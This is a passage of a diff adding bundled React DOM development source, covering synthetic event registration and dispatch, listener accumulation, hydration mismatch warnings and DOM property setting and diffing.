+          animationstart: makePrefixMap("Animation", "AnimationStart"),
+          transitionend: makePrefixMap("Transition", "TransitionEnd")
+        };
+        var prefixedEventNames = {};
+        var style = {};
+        if (canUseDOM) {
+          style = document.createElement("div").style;
+          if (!("AnimationEvent" in window)) {
+            delete vendorPrefixes.animationend.animation;
+            delete vendorPrefixes.animationiteration.animation;
+            delete vendorPrefixes.animationstart.animation;
+          }
+          if (!("TransitionEvent" in window)) {
+            delete vendorPrefixes.transitionend.transition;
+          }
+        }
+        function getVendorPrefixedEventName(eventName) {
+          if (prefixedEventNames[eventName]) {
+            return prefixedEventNames[eventName];
+          } else if (!vendorPrefixes[eventName]) {
+            return eventName;
+          }
+          var prefixMap = vendorPrefixes[eventName];
+          for (var styleProp in prefixMap) {
+            if (prefixMap.hasOwnProperty(styleProp) && styleProp in style) {
+              return prefixedEventNames[eventName] = prefixMap[styleProp];
+            }
+          }
+          return eventName;
+        }
+        var ANIMATION_END = getVendorPrefixedEventName("animationend");
+        var ANIMATION_ITERATION = getVendorPrefixedEventName("animationiteration");
+        var ANIMATION_START = getVendorPrefixedEventName("animationstart");
+        var TRANSITION_END = getVendorPrefixedEventName("transitionend");
+        var topLevelEventsToReactNames = /* @__PURE__ */ new Map();
+        var simpleEventPluginEvents = ["abort", "auxClick", "cancel", "canPlay", "canPlayThrough", "click", "close", "contextMenu", "copy", "cut", "drag", "dragEnd", "dragEnter", "dragExit", "dragLeave", "dragOver", "dragStart", "drop", "durationChange", "emptied", "encrypted", "ended", "error", "gotPointerCapture", "input", "invalid", "keyDown", "keyPress", "keyUp", "load", "loadedData", "loadedMetadata", "loadStart", "lostPointerCapture", "mouseDown", "mouseMove", "mouseOut", "mouseOver", "mouseUp", "paste", "pause", "play", "playing", "pointerCancel", "pointerDown", "pointerMove", "pointerOut", "pointerOver", "pointerUp", "progress", "rateChange", "reset", "resize", "seeked", "seeking", "stalled", "submit", "suspend", "timeUpdate", "touchCancel", "touchEnd", "touchStart", "volumeChange", "scroll", "toggle", "touchMove", "waiting", "wheel"];
+        function registerSimpleEvent(domEventName, reactName) {
+          topLevelEventsToReactNames.set(domEventName, reactName);
+          registerTwoPhaseEvent(reactName, [domEventName]);
+        }
+        function registerSimpleEvents() {
+          for (var i2 = 0; i2 < simpleEventPluginEvents.length; i2++) {
+            var eventName = simpleEventPluginEvents[i2];
+            var domEventName = eventName.toLowerCase();
+            var capitalizedEvent = eventName[0].toUpperCase() + eventName.slice(1);
+            registerSimpleEvent(domEventName, "on" + capitalizedEvent);
+          }
+          registerSimpleEvent(ANIMATION_END, "onAnimationEnd");
+          registerSimpleEvent(ANIMATION_ITERATION, "onAnimationIteration");
+          registerSimpleEvent(ANIMATION_START, "onAnimationStart");
+          registerSimpleEvent("dblclick", "onDoubleClick");
+          registerSimpleEvent("focusin", "onFocus");
+          registerSimpleEvent("focusout", "onBlur");
+          registerSimpleEvent(TRANSITION_END, "onTransitionEnd");
+        }
+        function extractEvents$4(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
+          var reactName = topLevelEventsToReactNames.get(domEventName);
+          if (reactName === void 0) {
+            return;
+          }
+          var SyntheticEventCtor = SyntheticEvent;
+          var reactEventType = domEventName;
+          switch (domEventName) {
+            case "keypress":
+              if (getEventCharCode(nativeEvent) === 0) {
+                return;
+              }
+            case "keydown":
+            case "keyup":
+              SyntheticEventCtor = SyntheticKeyboardEvent;
+              break;
+            case "focusin":
+              reactEventType = "focus";
+              SyntheticEventCtor = SyntheticFocusEvent;
+              break;
+            case "focusout":
+              reactEventType = "blur";
+              SyntheticEventCtor = SyntheticFocusEvent;
+              break;
+            case "beforeblur":
+            case "afterblur":
+              SyntheticEventCtor = SyntheticFocusEvent;
+              break;
+            case "click":
+              if (nativeEvent.button === 2) {
+                return;
+              }
+            case "auxclick":
+            case "dblclick":
+            case "mousedown":
+            case "mousemove":
+            case "mouseup":
+            case "mouseout":
+            case "mouseover":
+            case "contextmenu":
+              SyntheticEventCtor = SyntheticMouseEvent;
+              break;
+            case "drag":
+            case "dragend":
+            case "dragenter":
+            case "dragexit":
+            case "dragleave":
+            case "dragover":
+            case "dragstart":
+            case "drop":
+              SyntheticEventCtor = SyntheticDragEvent;
+              break;
+            case "touchcancel":
+            case "touchend":
+            case "touchmove":
+            case "touchstart":
+              SyntheticEventCtor = SyntheticTouchEvent;
+              break;
+            case ANIMATION_END:
+            case ANIMATION_ITERATION:
+            case ANIMATION_START:
+              SyntheticEventCtor = SyntheticAnimationEvent;
+              break;
+            case TRANSITION_END:
+              SyntheticEventCtor = SyntheticTransitionEvent;
+              break;
+            case "scroll":
+              SyntheticEventCtor = SyntheticUIEvent;
+              break;
+            case "wheel":
+              SyntheticEventCtor = SyntheticWheelEvent;
+              break;
+            case "copy":
+            case "cut":
+            case "paste":
+              SyntheticEventCtor = SyntheticClipboardEvent;
+              break;
+            case "gotpointercapture":
+            case "lostpointercapture":
+            case "pointercancel":
+            case "pointerdown":
+            case "pointermove":
+            case "pointerout":
+            case "pointerover":
+            case "pointerup":
+              SyntheticEventCtor = SyntheticPointerEvent;
+              break;
+          }
+          var inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;
+          {
+            var accumulateTargetOnly = !inCapturePhase && domEventName === "scroll";
+            var _listeners = accumulateSinglePhaseListeners(targetInst, reactName, nativeEvent.type, inCapturePhase, accumulateTargetOnly);
+            if (_listeners.length > 0) {
+              var _event = new SyntheticEventCtor(reactName, reactEventType, null, nativeEvent, nativeEventTarget);
+              dispatchQueue.push({
+                event: _event,
+                listeners: _listeners
+              });
+            }
+          }
+        }
+        registerSimpleEvents();
+        registerEvents$2();
+        registerEvents$1();
+        registerEvents$3();
+        registerEvents();
+        function extractEvents$5(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
+          extractEvents$4(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags);
+          var shouldProcessPolyfillPlugins = (eventSystemFlags & SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS) === 0;
+          if (shouldProcessPolyfillPlugins) {
+            extractEvents$2(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
+            extractEvents$1(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
+            extractEvents$3(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
+            extractEvents(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
+          }
+        }
+        var mediaEventTypes = ["abort", "canplay", "canplaythrough", "durationchange", "emptied", "encrypted", "ended", "error", "loadeddata", "loadedmetadata", "loadstart", "pause", "play", "playing", "progress", "ratechange", "resize", "seeked", "seeking", "stalled", "suspend", "timeupdate", "volumechange", "waiting"];
+        var nonDelegatedEvents = new Set(["cancel", "close", "invalid", "load", "scroll", "toggle"].concat(mediaEventTypes));
+        function executeDispatch(event, listener, currentTarget) {
+          var type = event.type || "unknown-event";
+          event.currentTarget = currentTarget;
+          invokeGuardedCallbackAndCatchFirstError(type, listener, void 0, event);
+          event.currentTarget = null;
+        }
+        function processDispatchQueueItemsInOrder(event, dispatchListeners, inCapturePhase) {
+          var previousInstance;
+          if (inCapturePhase) {
+            for (var i2 = dispatchListeners.length - 1; i2 >= 0; i2--) {
+              var _dispatchListeners$i = dispatchListeners[i2], instance = _dispatchListeners$i.instance, currentTarget = _dispatchListeners$i.currentTarget, listener = _dispatchListeners$i.listener;
+              if (instance !== previousInstance && event.isPropagationStopped()) {
+                return;
+              }
+              executeDispatch(event, listener, currentTarget);
+              previousInstance = instance;
+            }
+          } else {
+            for (var _i = 0; _i < dispatchListeners.length; _i++) {
+              var _dispatchListeners$_i = dispatchListeners[_i], _instance = _dispatchListeners$_i.instance, _currentTarget = _dispatchListeners$_i.currentTarget, _listener = _dispatchListeners$_i.listener;
+              if (_instance !== previousInstance && event.isPropagationStopped()) {
+                return;
+              }
+              executeDispatch(event, _listener, _currentTarget);
+              previousInstance = _instance;
+            }
+          }
+        }
+        function processDispatchQueue(dispatchQueue, eventSystemFlags) {
+          var inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;
+          for (var i2 = 0; i2 < dispatchQueue.length; i2++) {
+            var _dispatchQueue$i = dispatchQueue[i2], event = _dispatchQueue$i.event, listeners = _dispatchQueue$i.listeners;
+            processDispatchQueueItemsInOrder(event, listeners, inCapturePhase);
+          }
+          rethrowCaughtError();
+        }
+        function dispatchEventsForPlugins(domEventName, eventSystemFlags, nativeEvent, targetInst, targetContainer) {
+          var nativeEventTarget = getEventTarget(nativeEvent);
+          var dispatchQueue = [];
+          extractEvents$5(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags);
+          processDispatchQueue(dispatchQueue, eventSystemFlags);
+        }
+        function listenToNonDelegatedEvent(domEventName, targetElement) {
+          {
+            if (!nonDelegatedEvents.has(domEventName)) {
+              error('Did not expect a listenToNonDelegatedEvent() call for "%s". This is a bug in React. Please file an issue.', domEventName);
+            }
+          }
+          var isCapturePhaseListener = false;
+          var listenerSet = getEventListenerSet(targetElement);
+          var listenerSetKey = getListenerSetKey(domEventName, isCapturePhaseListener);
+          if (!listenerSet.has(listenerSetKey)) {
+            addTrappedEventListener(targetElement, domEventName, IS_NON_DELEGATED, isCapturePhaseListener);
+            listenerSet.add(listenerSetKey);
+          }
+        }
+        function listenToNativeEvent(domEventName, isCapturePhaseListener, target) {
+          {
+            if (nonDelegatedEvents.has(domEventName) && !isCapturePhaseListener) {
+              error('Did not expect a listenToNativeEvent() call for "%s" in the bubble phase. This is a bug in React. Please file an issue.', domEventName);
+            }
+          }
+          var eventSystemFlags = 0;
+          if (isCapturePhaseListener) {
+            eventSystemFlags |= IS_CAPTURE_PHASE;
+          }
+          addTrappedEventListener(target, domEventName, eventSystemFlags, isCapturePhaseListener);
+        }
+        var listeningMarker = "_reactListening" + Math.random().toString(36).slice(2);
+        function listenToAllSupportedEvents(rootContainerElement) {
+          if (!rootContainerElement[listeningMarker]) {
+            rootContainerElement[listeningMarker] = true;
+            allNativeEvents.forEach(function(domEventName) {
+              if (domEventName !== "selectionchange") {
+                if (!nonDelegatedEvents.has(domEventName)) {
+                  listenToNativeEvent(domEventName, false, rootContainerElement);
+                }
+                listenToNativeEvent(domEventName, true, rootContainerElement);
+              }
+            });
+            var ownerDocument = rootContainerElement.nodeType === DOCUMENT_NODE ? rootContainerElement : rootContainerElement.ownerDocument;
+            if (ownerDocument !== null) {
+              if (!ownerDocument[listeningMarker]) {
+                ownerDocument[listeningMarker] = true;
+                listenToNativeEvent("selectionchange", false, ownerDocument);
+              }
+            }
+          }
+        }
+        function addTrappedEventListener(targetContainer, domEventName, eventSystemFlags, isCapturePhaseListener, isDeferredListenerForLegacyFBSupport) {
+          var listener = createEventListenerWrapperWithPriority(targetContainer, domEventName, eventSystemFlags);
+          var isPassiveListener = void 0;
+          if (passiveBrowserEventsSupported) {
+            if (domEventName === "touchstart" || domEventName === "touchmove" || domEventName === "wheel") {
+              isPassiveListener = true;
+            }
+          }
+          targetContainer = targetContainer;
+          var unsubscribeListener;
+          if (isCapturePhaseListener) {
+            if (isPassiveListener !== void 0) {
+              unsubscribeListener = addEventCaptureListenerWithPassiveFlag(targetContainer, domEventName, listener, isPassiveListener);
+            } else {
+              unsubscribeListener = addEventCaptureListener(targetContainer, domEventName, listener);
+            }
+          } else {
+            if (isPassiveListener !== void 0) {
+              unsubscribeListener = addEventBubbleListenerWithPassiveFlag(targetContainer, domEventName, listener, isPassiveListener);
+            } else {
+              unsubscribeListener = addEventBubbleListener(targetContainer, domEventName, listener);
+            }
+          }
+        }
+        function isMatchingRootContainer(grandContainer, targetContainer) {
+          return grandContainer === targetContainer || grandContainer.nodeType === COMMENT_NODE && grandContainer.parentNode === targetContainer;
+        }
+        function dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, targetInst, targetContainer) {
+          var ancestorInst = targetInst;
+          if ((eventSystemFlags & IS_EVENT_HANDLE_NON_MANAGED_NODE) === 0 && (eventSystemFlags & IS_NON_DELEGATED) === 0) {
+            var targetContainerNode = targetContainer;
+            if (targetInst !== null) {
+              var node = targetInst;
+              mainLoop:
+                while (true) {
+                  if (node === null) {
+                    return;
+                  }
+                  var nodeTag = node.tag;
+                  if (nodeTag === HostRoot || nodeTag === HostPortal) {
+                    var container = node.stateNode.containerInfo;
+                    if (isMatchingRootContainer(container, targetContainerNode)) {
+                      break;
+                    }
+                    if (nodeTag === HostPortal) {
+                      var grandNode = node.return;
+                      while (grandNode !== null) {
+                        var grandTag = grandNode.tag;
+                        if (grandTag === HostRoot || grandTag === HostPortal) {
+                          var grandContainer = grandNode.stateNode.containerInfo;
+                          if (isMatchingRootContainer(grandContainer, targetContainerNode)) {
+                            return;
+                          }
+                        }
+                        grandNode = grandNode.return;
+                      }
+                    }
+                    while (container !== null) {
+                      var parentNode = getClosestInstanceFromNode(container);
+                      if (parentNode === null) {
+                        return;
+                      }
+                      var parentTag = parentNode.tag;
+                      if (parentTag === HostComponent || parentTag === HostText) {
+                        node = ancestorInst = parentNode;
+                        continue mainLoop;
+                      }
+                      container = container.parentNode;
+                    }
+                  }
+                  node = node.return;
+                }
+            }
+          }
+          batchedUpdates(function() {
+            return dispatchEventsForPlugins(domEventName, eventSystemFlags, nativeEvent, ancestorInst);
+          });
+        }
+        function createDispatchListener(instance, listener, currentTarget) {
+          return {
+            instance,
+            listener,
+            currentTarget
+          };
+        }
+        function accumulateSinglePhaseListeners(targetFiber, reactName, nativeEventType, inCapturePhase, accumulateTargetOnly, nativeEvent) {
+          var captureName = reactName !== null ? reactName + "Capture" : null;
+          var reactEventName = inCapturePhase ? captureName : reactName;
+          var listeners = [];
+          var instance = targetFiber;
+          var lastHostComponent = null;
+          while (instance !== null) {
+            var _instance2 = instance, stateNode = _instance2.stateNode, tag = _instance2.tag;
+            if (tag === HostComponent && stateNode !== null) {
+              lastHostComponent = stateNode;
+              if (reactEventName !== null) {
+                var listener = getListener(instance, reactEventName);
+                if (listener != null) {
+                  listeners.push(createDispatchListener(instance, listener, lastHostComponent));
+                }
+              }
+            }
+            if (accumulateTargetOnly) {
+              break;
+            }
+            instance = instance.return;
+          }
+          return listeners;
+        }
+        function accumulateTwoPhaseListeners(targetFiber, reactName) {
+          var captureName = reactName + "Capture";
+          var listeners = [];
+          var instance = targetFiber;
+          while (instance !== null) {
+            var _instance3 = instance, stateNode = _instance3.stateNode, tag = _instance3.tag;
+            if (tag === HostComponent && stateNode !== null) {
+              var currentTarget = stateNode;
+              var captureListener = getListener(instance, captureName);
+              if (captureListener != null) {
+                listeners.unshift(createDispatchListener(instance, captureListener, currentTarget));
+              }
+              var bubbleListener = getListener(instance, reactName);
+              if (bubbleListener != null) {
+                listeners.push(createDispatchListener(instance, bubbleListener, currentTarget));
+              }
+            }
+            instance = instance.return;
+          }
+          return listeners;
+        }
+        function getParent(inst) {
+          if (inst === null) {
+            return null;
+          }
+          do {
+            inst = inst.return;
+          } while (inst && inst.tag !== HostComponent);
+          if (inst) {
+            return inst;
+          }
+          return null;
+        }
+        function getLowestCommonAncestor(instA, instB) {
+          var nodeA = instA;
+          var nodeB = instB;
+          var depthA = 0;
+          for (var tempA = nodeA; tempA; tempA = getParent(tempA)) {
+            depthA++;
+          }
+          var depthB = 0;
+          for (var tempB = nodeB; tempB; tempB = getParent(tempB)) {
+            depthB++;
+          }
+          while (depthA - depthB > 0) {
+            nodeA = getParent(nodeA);
+            depthA--;
+          }
+          while (depthB - depthA > 0) {
+            nodeB = getParent(nodeB);
+            depthB--;
+          }
+          var depth = depthA;
+          while (depth--) {
+            if (nodeA === nodeB || nodeB !== null && nodeA === nodeB.alternate) {
+              return nodeA;
+            }
+            nodeA = getParent(nodeA);
+            nodeB = getParent(nodeB);
+          }
+          return null;
+        }
+        function accumulateEnterLeaveListenersForEvent(dispatchQueue, event, target, common, inCapturePhase) {
+          var registrationName = event._reactName;
+          var listeners = [];
+          var instance = target;
+          while (instance !== null) {
+            if (instance === common) {
+              break;
+            }
+            var _instance4 = instance, alternate = _instance4.alternate, stateNode = _instance4.stateNode, tag = _instance4.tag;
+            if (alternate !== null && alternate === common) {
+              break;
+            }
+            if (tag === HostComponent && stateNode !== null) {
+              var currentTarget = stateNode;
+              if (inCapturePhase) {
+                var captureListener = getListener(instance, registrationName);
+                if (captureListener != null) {
+                  listeners.unshift(createDispatchListener(instance, captureListener, currentTarget));
+                }
+              } else if (!inCapturePhase) {
+                var bubbleListener = getListener(instance, registrationName);
+                if (bubbleListener != null) {
+                  listeners.push(createDispatchListener(instance, bubbleListener, currentTarget));
+                }
+              }
+            }
+            instance = instance.return;
+          }
+          if (listeners.length !== 0) {
+            dispatchQueue.push({
+              event,
+              listeners
+            });
+          }
+        }
+        function accumulateEnterLeaveTwoPhaseListeners(dispatchQueue, leaveEvent, enterEvent, from, to) {
+          var common = from && to ? getLowestCommonAncestor(from, to) : null;
+          if (from !== null) {
+            accumulateEnterLeaveListenersForEvent(dispatchQueue, leaveEvent, from, common, false);
+          }
+          if (to !== null && enterEvent !== null) {
+            accumulateEnterLeaveListenersForEvent(dispatchQueue, enterEvent, to, common, true);
+          }
+        }
+        function getListenerSetKey(domEventName, capture) {
+          return domEventName + "__" + (capture ? "capture" : "bubble");
+        }
+        var didWarnInvalidHydration = false;
+        var DANGEROUSLY_SET_INNER_HTML = "dangerouslySetInnerHTML";
+        var SUPPRESS_CONTENT_EDITABLE_WARNING = "suppressContentEditableWarning";
+        var SUPPRESS_HYDRATION_WARNING = "suppressHydrationWarning";
+        var AUTOFOCUS = "autoFocus";
+        var CHILDREN = "children";
+        var STYLE = "style";
+        var HTML$1 = "__html";
+        var warnedUnknownTags;
+        var validatePropertiesInDevelopment;
+        var warnForPropDifference;
+        var warnForExtraAttributes;
+        var warnForInvalidEventListener;
+        var canDiffStyleForHydrationWarning;
+        var normalizeHTML;
+        {
+          warnedUnknownTags = {
+            dialog: true,
+            webview: true
+          };
+          validatePropertiesInDevelopment = function(type, props) {
+            validateProperties(type, props);
+            validateProperties$1(type, props);
+            validateProperties$2(type, props, {
+              registrationNameDependencies,
+              possibleRegistrationNames
+            });
+          };
+          canDiffStyleForHydrationWarning = canUseDOM && !document.documentMode;
+          warnForPropDifference = function(propName, serverValue, clientValue) {
+            if (didWarnInvalidHydration) {
+              return;
+            }
+            var normalizedClientValue = normalizeMarkupForTextOrAttribute(clientValue);
+            var normalizedServerValue = normalizeMarkupForTextOrAttribute(serverValue);
+            if (normalizedServerValue === normalizedClientValue) {
+              return;
+            }
+            didWarnInvalidHydration = true;
+            error("Prop `%s` did not match. Server: %s Client: %s", propName, JSON.stringify(normalizedServerValue), JSON.stringify(normalizedClientValue));
+          };
+          warnForExtraAttributes = function(attributeNames) {
+            if (didWarnInvalidHydration) {
+              return;
+            }
+            didWarnInvalidHydration = true;
+            var names = [];
+            attributeNames.forEach(function(name) {
+              names.push(name);
+            });
+            error("Extra attributes from the server: %s", names);
+          };
+          warnForInvalidEventListener = function(registrationName, listener) {
+            if (listener === false) {
+              error("Expected `%s` listener to be a function, instead got `false`.\n\nIf you used to conditionally omit it with %s={condition && value}, pass %s={condition ? value : undefined} instead.", registrationName, registrationName, registrationName);
+            } else {
+              error("Expected `%s` listener to be a function, instead got a value of `%s` type.", registrationName, typeof listener);
+            }
+          };
+          normalizeHTML = function(parent, html) {
+            var testElement = parent.namespaceURI === HTML_NAMESPACE ? parent.ownerDocument.createElement(parent.tagName) : parent.ownerDocument.createElementNS(parent.namespaceURI, parent.tagName);
+            testElement.innerHTML = html;
+            return testElement.innerHTML;
+          };
+        }
+        var NORMALIZE_NEWLINES_REGEX = /\r\n?/g;
+        var NORMALIZE_NULL_AND_REPLACEMENT_REGEX = /\u0000|\uFFFD/g;
+        function normalizeMarkupForTextOrAttribute(markup) {
+          {
+            checkHtmlStringCoercion(markup);
+          }
+          var markupString = typeof markup === "string" ? markup : "" + markup;
+          return markupString.replace(NORMALIZE_NEWLINES_REGEX, "\n").replace(NORMALIZE_NULL_AND_REPLACEMENT_REGEX, "");
+        }
+        function checkForUnmatchedText(serverText, clientText, isConcurrentMode, shouldWarnDev) {
+          var normalizedClientText = normalizeMarkupForTextOrAttribute(clientText);
+          var normalizedServerText = normalizeMarkupForTextOrAttribute(serverText);
+          if (normalizedServerText === normalizedClientText) {
+            return;
+          }
+          if (shouldWarnDev) {
+            {
+              if (!didWarnInvalidHydration) {
+                didWarnInvalidHydration = true;
+                error('Text content did not match. Server: "%s" Client: "%s"', normalizedServerText, normalizedClientText);
+              }
+            }
+          }
+          if (isConcurrentMode && enableClientRenderFallbackOnTextMismatch) {
+            throw new Error("Text content does not match server-rendered HTML.");
+          }
+        }
+        function getOwnerDocumentFromRootContainer(rootContainerElement) {
+          return rootContainerElement.nodeType === DOCUMENT_NODE ? rootContainerElement : rootContainerElement.ownerDocument;
+        }
+        function noop() {
+        }
+        function trapClickOnNonInteractiveElement(node) {
+          node.onclick = noop;
+        }
+        function setInitialDOMProperties(tag, domElement, rootContainerElement, nextProps, isCustomComponentTag) {
+          for (var propKey in nextProps) {
+            if (!nextProps.hasOwnProperty(propKey)) {
+              continue;
+            }
+            var nextProp = nextProps[propKey];
+            if (propKey === STYLE) {
+              {
+                if (nextProp) {
+                  Object.freeze(nextProp);
+                }
+              }
+              setValueForStyles(domElement, nextProp);
+            } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
+              var nextHtml = nextProp ? nextProp[HTML$1] : void 0;
+              if (nextHtml != null) {
+                setInnerHTML(domElement, nextHtml);
+              }
+            } else if (propKey === CHILDREN) {
+              if (typeof nextProp === "string") {
+                var canSetTextContent = tag !== "textarea" || nextProp !== "";
+                if (canSetTextContent) {
+                  setTextContent(domElement, nextProp);
+                }
+              } else if (typeof nextProp === "number") {
+                setTextContent(domElement, "" + nextProp);
+              }
+            } else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING)
+              ;
+            else if (propKey === AUTOFOCUS)
+              ;
+            else if (registrationNameDependencies.hasOwnProperty(propKey)) {
+              if (nextProp != null) {
+                if (typeof nextProp !== "function") {
+                  warnForInvalidEventListener(propKey, nextProp);
+                }
+                if (propKey === "onScroll") {
+                  listenToNonDelegatedEvent("scroll", domElement);
+                }
+              }
+            } else if (nextProp != null) {
+              setValueForProperty(domElement, propKey, nextProp, isCustomComponentTag);
+            }
+          }
+        }
+        function updateDOMProperties(domElement, updatePayload, wasCustomComponentTag, isCustomComponentTag) {
+          for (var i2 = 0; i2 < updatePayload.length; i2 += 2) {
+            var propKey = updatePayload[i2];
+            var propValue = updatePayload[i2 + 1];
+            if (propKey === STYLE) {
+              setValueForStyles(domElement, propValue);
+            } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
+              setInnerHTML(domElement, propValue);
+            } else if (propKey === CHILDREN) {
+              setTextContent(domElement, propValue);
+            } else {
+              setValueForProperty(domElement, propKey, propValue, isCustomComponentTag);
+            }
+          }
+        }
+        function createElement2(type, props, rootContainerElement, parentNamespace) {
+          var isCustomComponentTag;
+          var ownerDocument = getOwnerDocumentFromRootContainer(rootContainerElement);
+          var domElement;
+          var namespaceURI = parentNamespace;
+          if (namespaceURI === HTML_NAMESPACE) {
+            namespaceURI = getIntrinsicNamespace(type);
+          }
+          if (namespaceURI === HTML_NAMESPACE) {
+            {
+              isCustomComponentTag = isCustomComponent(type, props);
+              if (!isCustomComponentTag && type !== type.toLowerCase()) {
+                error("<%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.", type);
+              }
+            }
+            if (type === "script") {
+              var div = ownerDocument.createElement("div");
+              div.innerHTML = "<script><\/script>";
+              var firstChild = div.firstChild;
+              domElement = div.removeChild(firstChild);
+            } else if (typeof props.is === "string") {
+              domElement = ownerDocument.createElement(type, {
+                is: props.is
+              });
+            } else {
+              domElement = ownerDocument.createElement(type);
+              if (type === "select") {
+                var node = domElement;
+                if (props.multiple) {
+                  node.multiple = true;
+                } else if (props.size) {
+                  node.size = props.size;
+                }
+              }
+            }
+          } else {
+            domElement = ownerDocument.createElementNS(namespaceURI, type);
+          }
+          {
+            if (namespaceURI === HTML_NAMESPACE) {
+              if (!isCustomComponentTag && Object.prototype.toString.call(domElement) === "[object HTMLUnknownElement]" && !hasOwnProperty.call(warnedUnknownTags, type)) {
+                warnedUnknownTags[type] = true;
+                error("The tag <%s> is unrecognized in this browser. If you meant to render a React component, start its name with an uppercase letter.", type);
+              }
+            }
+          }
+          return domElement;
+        }
+        function createTextNode(text, rootContainerElement) {
+          return getOwnerDocumentFromRootContainer(rootContainerElement).createTextNode(text);
+        }
+        function setInitialProperties(domElement, tag, rawProps, rootContainerElement) {
+          var isCustomComponentTag = isCustomComponent(tag, rawProps);
+          {
+            validatePropertiesInDevelopment(tag, rawProps);
+          }
+          var props;
+          switch (tag) {
+            case "dialog":
+              listenToNonDelegatedEvent("cancel", domElement);
+              listenToNonDelegatedEvent("close", domElement);
+              props = rawProps;
+              break;
+            case "iframe":
+            case "object":
+            case "embed":
+              listenToNonDelegatedEvent("load", domElement);
+              props = rawProps;
+              break;
+            case "video":
+            case "audio":
+              for (var i2 = 0; i2 < mediaEventTypes.length; i2++) {
+                listenToNonDelegatedEvent(mediaEventTypes[i2], domElement);
+              }
+              props = rawProps;
+              break;
+            case "source":
+              listenToNonDelegatedEvent("error", domElement);
+              props = rawProps;
+              break;
+            case "img":
+            case "image":
+            case "link":
+              listenToNonDelegatedEvent("error", domElement);
+              listenToNonDelegatedEvent("load", domElement);
+              props = rawProps;
+              break;
+            case "details":
+              listenToNonDelegatedEvent("toggle", domElement);
+              props = rawProps;
+              break;
+            case "input":
+              initWrapperState(domElement, rawProps);
+              props = getHostProps(domElement, rawProps);
+              listenToNonDelegatedEvent("invalid", domElement);
+              break;
+            case "option":
+              validateProps(domElement, rawProps);
+              props = rawProps;
+              break;
+            case "select":
+              initWrapperState$1(domElement, rawProps);
+              props = getHostProps$1(domElement, rawProps);
+              listenToNonDelegatedEvent("invalid", domElement);
+              break;
+            case "textarea":
+              initWrapperState$2(domElement, rawProps);
+              props = getHostProps$2(domElement, rawProps);
+              listenToNonDelegatedEvent("invalid", domElement);
+              break;
+            default:
+              props = rawProps;
+          }
+          assertValidProps(tag, props);
+          setInitialDOMProperties(tag, domElement, rootContainerElement, props, isCustomComponentTag);
+          switch (tag) {
+            case "input":
+              track(domElement);
+              postMountWrapper(domElement, rawProps, false);
+              break;
+            case "textarea":
+              track(domElement);
+              postMountWrapper$3(domElement);
+              break;
+            case "option":
+              postMountWrapper$1(domElement, rawProps);
+              break;
+            case "select":
+              postMountWrapper$2(domElement, rawProps);
+              break;
+            default:
+              if (typeof props.onClick === "function") {
+                trapClickOnNonInteractiveElement(domElement);
+              }
+              break;
+          }
+        }
+        function diffProperties(domElement, tag, lastRawProps, nextRawProps, rootContainerElement) {
+          {
+            validatePropertiesInDevelopment(tag, nextRawProps);
+          }
+          var updatePayload = null;
+          var lastProps;
+          var nextProps;
+          switch (tag) {
+            case "input":
+              lastProps = getHostProps(domElement, lastRawProps);
+              nextProps = getHostProps(domElement, nextRawProps);
+              updatePayload = [];
+              break;
+            case "select":
+              lastProps = getHostProps$1(domElement, lastRawProps);
+              nextProps = getHostProps$1(domElement, nextRawProps);
+              updatePayload = [];
+              break;
+            case "textarea":
+              lastProps = getHostProps$2(domElement, lastRawProps);
+              nextProps = getHostProps$2(domElement, nextRawProps);
+              updatePayload = [];
+              break;
+            default:
+              lastProps = lastRawProps;
+              nextProps = nextRawProps;
+              if (typeof lastProps.onClick !== "function" && typeof nextProps.onClick === "function") {
+                trapClickOnNonInteractiveElement(domElement);
+              }
+              break;
+          }
+          assertValidProps(tag, nextProps);
+          var propKey;
+          var styleName;
+          var styleUpdates = null;
+          for (propKey in lastProps) {
+            if (nextProps.hasOwnProperty(propKey) || !lastProps.hasOwnProperty(propKey) || lastProps[propKey] == null) {
+              continue;
+            }
+            if (propKey === STYLE) {
+              var lastStyle = lastProps[propKey];
+              for (styleName in lastStyle) {
+                if (lastStyle.hasOwnProperty(styleName)) {
+                  if (!styleUpdates) {
+                    styleUpdates = {};
+                  }
+                  styleUpdates[styleName] = "";
+                }
+              }
+            } else if (propKey === DANGEROUSLY_SET_INNER_HTML || propKey === CHILDREN)
+              ;
+            else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING)
+              ;
+            else if (propKey === AUTOFOCUS)
+              ;
+            else if (registrationNameDependencies.hasOwnProperty(propKey)) {
+              if (!updatePayload) {
+                updatePayload = [];
+              }
+            } else {
+              (updatePayload = updatePayload || []).push(propKey, null);
+            }
+          }
+          for (propKey in nextProps) {
+            var nextProp = nextProps[propKey];
+            var lastProp = lastProps != null ? lastProps[propKey] : void 0;
+            if (!nextProps.hasOwnProperty(propKey) || nextProp === lastProp || nextProp == null && lastProp == null) {
+              continue;
+            }
+            if (propKey === STYLE) {
+              {
+                if (nextProp) {
+                  Object.freeze(nextProp);
+                }
+              }
+              if (lastProp) {
+                for (styleName in lastProp) {
+                  if (lastProp.hasOwnProperty(styleName) && (!nextProp || !nextProp.hasOwnProperty(styleName))) {
+                    if (!styleUpdates) {
+                      styleUpdates = {};
+                    }
+                    styleUpdates[styleName] = "";
+                  }
+                }
+                for (styleName in nextProp) {
+                  if (nextProp.hasOwnProperty(styleName) && lastProp[styleName] !== nextProp[styleName]) {
+                    if (!styleUpdates) {
+                      styleUpdates = {};
+                    }
